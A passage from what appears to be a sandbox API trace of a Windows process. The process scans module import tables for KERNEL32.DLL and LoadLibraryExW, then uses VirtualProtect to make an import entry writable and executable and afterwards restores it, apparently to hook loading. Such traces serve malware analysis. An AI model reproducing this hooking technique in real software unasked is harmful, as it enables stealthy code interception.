lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="ReleaseMutex", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="OpenEventW", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="LocalReAlloc", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0071.026] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0071.026] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0071.026] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0071.026] VirtualProtect (in: lpAddress=0x7feff1212c0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0071.027] VirtualProtect (in: lpAddress=0x7feff1212c0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0071.027] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.027] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.027] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef1000 [0071.027] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.027] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.027] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.027] lstrcmpiA (lpString1="GetDiskFreeSpaceW", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GetOverlappedResult", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0071.028] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0071.028] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0071.029] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0071.029] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0071.029] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0071.029] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0071.029] lstrcmpiA (lpString1="SetErrorMode", lpString2="LoadLibraryExW") returned 1 [0071.029] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0071.029] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0071.029] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.029] lstrcmpiA (lpString1="MSACM32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.029] lstrcmpiA (lpString1="MSVFW32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.029] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1000 | out: hHeap=0x1ee0000) returned 1 [0071.029] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.029] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.029] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef1000 [0071.029] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.029] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.029] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.029] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.030] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.030] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.030] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.030] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.030] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0071.030] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.030] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="SleepConditionVariableCS", lpString2="LoadLibraryExW") returned 1 [0071.030] lstrcmpiA (lpString1="WakeAllConditionVariable", lpString2="LoadLibraryExW") returned 1 [0071.030] lstrcmpiA (lpString1="SetThreadStackGuarantee", lpString2="LoadLibraryExW") returned 1 [0071.030] lstrcmpiA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalMemoryStatus", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0071.030] lstrcmpiA (lpString1="GlobalFindAtomA", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalFindAtomW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalAddAtomA", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalGetAtomNameA", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="InitOnceExecuteOnce", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="FileTimeToDosDateTime", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="FindActCtxSectionStringW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="WriteProfileStringW", lpString2="LoadLibraryExW") returned 1 [0071.030] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="GetCurrentActCtx", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0071.030] lstrcmpiA (lpString1="InitializeConditionVariable", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="FindActCtxSectionGuid", lpString2="LoadLibraryExW") returned -1 [0071.030] lstrcmpiA (lpString1="AddRefActCtx", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0071.031] lstrcmpiA (lpString1="IsBadWritePtr", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="IsBadReadPtr", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="IsThreadAFiber", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0071.031] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.031] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.031] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.031] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="KERNEL32.DLL") returned -1 [0071.031] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.031] lstrcmpiA (lpString1="SHELL32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.031] lstrcmpiA (lpString1="MPR.dll", lpString2="KERNEL32.DLL") returned 1 [0071.031] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.031] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="KERNEL32.DLL") returned 1 [0071.031] lstrcmpiA (lpString1="CLBCatQ.DLL", lpString2="KERNEL32.DLL") returned -1 [0071.031] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.031] lstrcmpiA (lpString1="imagehlp.dll", lpString2="KERNEL32.DLL") returned -1 [0071.031] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1000 | out: hHeap=0x1ee0000) returned 1 [0071.031] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.031] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.031] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef1000 [0071.031] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.031] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.031] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.031] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0071.031] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0071.031] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0071.031] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0071.031] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0071.031] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.031] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="FreeResource", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0071.032] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.032] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.033] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.033] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.033] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0071.033] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1000 | out: hHeap=0x1ee0000) returned 1 [0071.033] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.033] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.033] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef1000 [0071.033] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.033] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.033] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.033] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.033] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.033] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.033] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.033] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0071.033] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0071.033] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0071.033] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0071.033] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0071.033] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1000 | out: hHeap=0x1ee0000) returned 1 [0071.033] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.033] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.033] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, 